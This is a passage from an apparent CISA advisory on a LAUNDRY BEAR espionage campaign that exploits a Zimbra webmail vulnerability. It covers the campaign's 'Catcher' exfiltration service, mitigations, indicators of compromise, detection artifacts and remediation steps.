<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
